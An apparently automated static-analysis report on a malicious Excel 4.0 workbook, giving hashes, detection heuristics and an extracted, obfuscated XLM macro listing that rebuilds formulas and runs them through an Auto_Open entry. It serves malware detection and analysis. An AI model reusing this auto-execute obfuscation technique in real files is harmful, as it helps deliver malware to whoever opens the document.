Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ae2005ccada1c7f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:45 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: adcba166e2b4071c85014005dbfe1679 SHA-1: 3b0d55538268f2b4b6bc44cd788be394f67704de SHA-256: 6ae2005ccada1c7f6d4c0274073e0746ea5dd167d5aefefa62dbdddad9d13d3d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6644 bytes
SHA-256: 572530e3ba00e3bb3f35c9bea05d6638fce5f809a5596bb4def084574e480941
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CvzHBzaeU
' 0018     25 LABEL : Cell Value, String Constant - aENFAumsEj len=0 
' 0018     24 LABEL : Cell Value, String Constant - AltfnCncv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F146 
' 0018     20 LABEL : Cell Value, String Constant - BnOMs len=0 
' 0018     27 LABEL : Cell Value, String Constant - cpQplnLJJRKr len=0 
' 0018     27 LABEL : Cell Value, String Constant - GfHXFwlUQIje len=0 
' 0018     20 LABEL : Cell Value, String Constant - gLKLv len=0 
' 0018     24 LABEL : Cell Value, String Constant - JnfDUoCIc len=0 
' 0018     25 LABEL : Cell Value, String Constant - JvBGemxoMn len=0 
' 0018     21 LABEL : Cell Value, String Constant - kmqZmb len=0 
' 0018     27 LABEL : Cell Value, String Constant - LAaMBcluUrQw len=0 
' 0018     25 LABEL : Cell Value, String Constant - myMmdKRyDA len=0 
' 0018     26 LABEL : Cell Value, String Constant - rhDjNhcSBlO len=0 
' 0018     23 LABEL : Cell Value, String Constant - TbmsIQtu len=0 
' 0018     27 LABEL : Cell Value, String Constant - tYMsZPKLxjFQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - wCModrG len=0 
' 0018     23 LABEL : Cell Value, String Constant - wrkXWJUj len=0 
' 0018     20 LABEL : Cell Value, String Constant - XBhaT len=0 
' 0018     20 LABEL : Cell Value, String Constant - xrWCf len=0 
' 0018     26 LABEL : Cell Value, String Constant - YyiSDGaEKHZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - zckzxnU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CvzHBzaeU,F47,"SET.NAME("wrkXWJUj",VALUE("0"))",""
'  CvzHBzaeU,F50,"SET.NAME("LAaMBcluUrQw",wrkXWJUj)",""
'  CvzHBzaeU,F55,"SET.NAME("AltfnCncv",wrkXWJUj)",""
'  CvzHBzaeU,F59,"SET.NAME("cpQplnLJJRKr",COUNTA(rhDjNhcSBlO))",""
'  CvzHBzaeU,F62,"SET.NAME("gLKLv",COUNTA(JnfDUoCIc))",""
'  CvzHBzaeU,F64,[],""
'  CvzHBzaeU,F68,"SET.NAME("BnOMs","")",""
'  CvzHBzaeU,F70,"LAaMBcluUrQw",""
'  CvzHBzaeU,F73,"SET.NAME("GfHXFwlUQIje",HLOOKUP("*",rhDjNhcSBlO,LAaMBcluUrQw,FALSE))",""
'  CvzHBzaeU,F76,"xrWCf",""
'  CvzHBzaeU,F81,"SET.NAME("tYMsZPKLxjFQ",wrkXWJUj)",""
'  CvzHBzaeU,F85,[],""
'  CvzHBzaeU,F88,"tYMsZPKLxjFQ",""
'  CvzHBzaeU,F91,"XBhaT",""
'  CvzHBzaeU,F95,"YyiSDGaEKHZ",""
'  CvzHBzaeU,F100,"myMmdKRyDA",""
'  CvzHBzaeU,F105,"SET.NAME("TbmsIQtu",VALUE(HLOOKUP("*",JnfDUoCIc,myMmdKRyDA,FALSE)))",""
'  CvzHBzaeU,F108,"wCModrG",""
'  CvzHBzaeU,F113,"BnOMs",""
'  CvzHBzaeU,F118,"AltfnCncv",""
'  CvzHBzaeU,F121,NEXT(),""
'  CvzHBzaeU,F124,"kmqZmb",""
'  CvzHBzaeU,F128,"SET.NAME("f",INT(T(FORMULA(T(BnOMs)&"",""&T(kmqZmb)))))",""
'  CvzHBzaeU,F132,"zckzxnU",""
'  CvzHBzaeU,F137,NEXT(),""
'  CvzHBzaeU,F142,RETURN(),""
'  CvzHBzaeU,F172,"SET.NAME("aENFAumsEj",F47)",""
'  CvzHBzaeU,F175,"rhDjNhcSBlO",""
'  CvzHBzaeU,F177,"SET.NAME("JnfDUoCIc",R43C14)",""
'  CvzHBzaeU,F180,"SET.NAME("zckzxnU",190)",""
'  CvzHBzaeU,F184,"SET.NAME("JvBGemxoMn",6)",""
'  CvzHBzaeU,F189,aENFAumsEj(),""
'  CvzHBzaeU,F190,HALT(),""

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